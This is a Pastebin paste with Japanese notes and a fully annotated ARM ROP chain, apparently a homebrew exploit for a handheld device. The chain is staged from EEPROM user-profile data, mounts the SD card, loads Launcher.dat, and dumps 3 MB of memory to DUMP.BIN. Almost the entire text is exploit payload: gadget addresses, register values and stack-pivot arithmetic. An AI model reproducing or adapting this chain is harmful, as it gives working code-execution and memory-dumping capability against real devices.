Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 2014/01/03
- ROP toolkit
- http://www.fiercewaffle.com/softwareArticle.php?id=10
- ・まず実行されるコードは、eepromの0x1ffb4番地から。
- ・eeprom内のuser profileは0x1fe00~と0x1ff00~の2種類あって、update counter(0x1fe70, 0x1ff70)の値が
- 多いほうが使われる。このexploitでは0x1fe70の値が51, 0x1ff70の値が52なので、1ff00~が利用される。
- ・ここで、eepromの0x1fe00からまた別のコードを0x279400にロードして、スタックをロードした箇所に移動させてROPコード継続
- ・続いて、YS:Launcher.datをオープンして、0x2b0000番地にロード、スタックをロードした箇所に移動させてROPコード継続
- ・× SDカードをYSにマウントしているようなコードはなかった。存在しないドライブの場合defaultでSDカードが利用されるのかも
- ⇒0x18f198からの関数がそれだった。
- #########################
- #ROP Loader
- #EEPROM 0x1fe00
- #loaded at 0x279400
- #########################
- B9 F2 10 00 : PC ; POP {R0,R2,PC}
- AE 2B 27 00 : R0 ; "YS:"
- ED 0D DC BA : R2 ; no use
- 9C F1 18 00 : PC ; mount_sd("YS:") ; return code LDMFD SP!, {R3-R5,PC}
- 90 B6 10 00 : R3
- 00 B0 FA 00 : R4
- 00 02 20 00 : R5
- B9 F2 10 00 : PC ; POP {R0,R2,PC}
- 00 90 27 00 : R0
- 01 00 00 00 : R2
- E1 49 15 00 : PC ; POP {R1,PC}
- 38 6F 27 00 : R1 ; "YS:/Launcher.dat"
- AC 82 1B 00 : PC ; IFile_Open(0x279000, "YS:/Launcher.dat", 0x1); return code LDMFD SP!, {R4-R8,PC}
- DC D5 18 00 : R4
- 40 83 27 00 : R5
- 00 02 10 00 : R6
- CC 48 00 00 : R7
- 60 3D 14 00 : R8
- B9 F2 10 00 : PC ; POP {R0,R2,PC}
- 00 90 27 00 : R0
- 00 00 2B 00 : R2
- F9 02 10 00 : PC ; POP {PC}
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- E1 49 15 00 : PC ; POP {R1,PC}
- 00 00 00 00 : R1
- E1 49 15 00 : PC ; POP {R1,PC}
- 20 90 27 00 : R1
- 8C 53 10 00 : PC ; LDMFD SP!, {R3,PC}
- 00 90 00 00 : R3
- 58 39 1B 00 : PC ; IFile_Read(0x279000, 0x279020, 0x2b0000, 0x9000); return code LDMFD SP!, {R4-R9,PC}
- E5 04 21 00 : R4
- 00 DA 19 00 : R5
- 00 75 01 00 : R6
- 86 DF 21 00 : R7
- 00 C1 1A 00 : R8
- 22 DA 1D 00 : R9
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- F9 02 10 00 : PC
- 8C 53 10 00 : PC
- 8C 53 10 00 : LDMFD SP!, {R3,PC}
- 24 6B 03 00 : R3
- ; もしカスタマイズしてコードの長さが変わった場合は、ここも合わせて変更する
- 60 3D 14 00 : PC
- ROM:00143D60 03 D0 8D E0 ADD SP, SP, R3
- ; 0x2794d8(SP) + 0x36b24(R3) + 4 = 0x2b0000
- ROM:00143D64 04 F0 9D E4 LDR PC, [SP+4+var_4],#4
- #EEPROM 0x1ffb4
- B9 F2 10 00 : PC ; POP {R0,R2,PC}
- 00 FE 01 00 : R0
- 00 01 00 00 : R2
- E1 49 15 00 : PC ; POP {R1,PC}
- 00 94 27 00 : R1
- FC 34 13 00 : PC ; eeprom_read(0x1fe00, 0x279400, 0x100) ; return code LDMFD SP!, {R4,PC}
- D0 8C 1E 00 : R4
- 8C 53 10 00 : PC ; LDMFD SP!, {R3,PC}
- 9C 94 27 F0 : R3
- ; もしカスタマイズしてコードの長さが変わった場合は、ここも合わせて変更する
- 60 3D 14 00 :
- ROM:00143D60 03 D0 8D E0 ADD SP, SP, R3
- ROM:00143D64 04 F0 9D E4 LDR PC, [SP+4+var_4],#4
- ; 0xfffff60(SP) + 0xf027949c(R3) + 4 = 0x279400
- #########################
- #Launcher.dat
- #0x2b0000
- #########################
- ED 01 10 00 : PC ; POP {R4,PC}
- 04 90 27 00 : R4
- E1 49 15 00 : PC ; POP {R1,PC}
- 08 90 27 00 : R1
- AC 1A 10 00 : PC
- ROM:00101AAC 00 00 A0 E3 MOV R0, #0
- ROM:00101AB0 00 00 84 E5 STR R0, [R4]
- ROM:00101AB4 00 00 81 E5 STR R0, [R1]
- ROM:00101AB8 00 00 A0 E3 MOV R0, #0
- ROM:00101ABC 10 80 BD E8 LDMFD SP!, {R4,PC}
- 04 00 00 00 : R4
- B9 F2 10 00 : PC ; POP {R0,R2,PC}
- 00 90 27 00 : R0 ; iFile Object
- 06 00 00 00 : R2
- E1 49 15 00 : PC ; POP {R1,PC}
- B4 00 2B 00 : R1
- ## Launcher.dat is loaded at 0x2b0000, so 0x2b00b4 is "YS:/DUMP.BIN"
- AC 82 1B 00 : PC ; IFile_Open(0x279000, "YS:/DUMP.bin", 0x6); return code LDMFD SP!, {R4-R8,PC}
- DC D5 18 00 : R4 ; no use
- 40 83 27 00 : R5 ; no use
- 00 02 10 00 : R6 ; no use
- CC 48 00 00 : R7 ; no use
- 60 3D 14 00 : R8 ; no use
- B9 F2 10 00 : PC ; POP {R0,R2,PC}
- 00 90 27 00 : R0 ; iFile Object
- 00 00 10 00 : R2 ; dump start address
- F9 02 10 00 : PC ; POP {PC}
- F9 02 10 00 : PC ; POP {PC}
- F9 02 10 00 : PC ; POP {PC}
- F9 02 10 00 : PC ; POP {PC}
- F9 02 10 00 : PC ; POP {PC}
- F9 02 10 00 : PC ; POP {PC}
- E1 49 15 00 : PC ; POP {R1,PC}
- 00 00 00 00 : R1
- E1 49 15 00 : PC ; POP {R1,PC}
- 20 90 27 00 : R1 ; iFile Object
- 8C 53 10 00 : PC ; LDMFD SP!, {R3,PC}
- 00 00 30 00 : R3 ; 0x300000 dump size
- 54 3B 1B 00 : PC ; IFile_Write(0x279000, 0, 0x100000, 0x300000) ; return code LDMFD SP!, {R4-R11,PC}
- 00 DA 19 00 : R4
- 00 75 01 00 : R5
- 86 DF 21 00 : R6
- 00 C1 1A 00 : R7
- 22 DA 1D 00 : R8
- 22 DA 1D 00 : R9
- 22 DA 1D 00 : R10
- F9 02 10 00 : R11
- 00 00 00 00 : PC : !!!! zero addr !!!!
- ; ここでわざと不正終了させている
- 8C 53 10 00 : LDMFD SP!, {R3,PC}
- 54 6B 03 00 : R3
- 60 3D 14 00 : PC ;
- ROM:00143D60 03 D0 8D E0 ADD SP, SP, R3
- ROM:00143D64 04 F0 9D E4 LDR PC, [SP+4+var_4],#4
- 59 00 53 00 :
- 3A 00 2F 00 :
- 44 00 55 00 :
- 4D 00 50 00 :
- 2E 00 42 00 :
- 49 00 4E 00 :
- 00 00 00 00 :
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement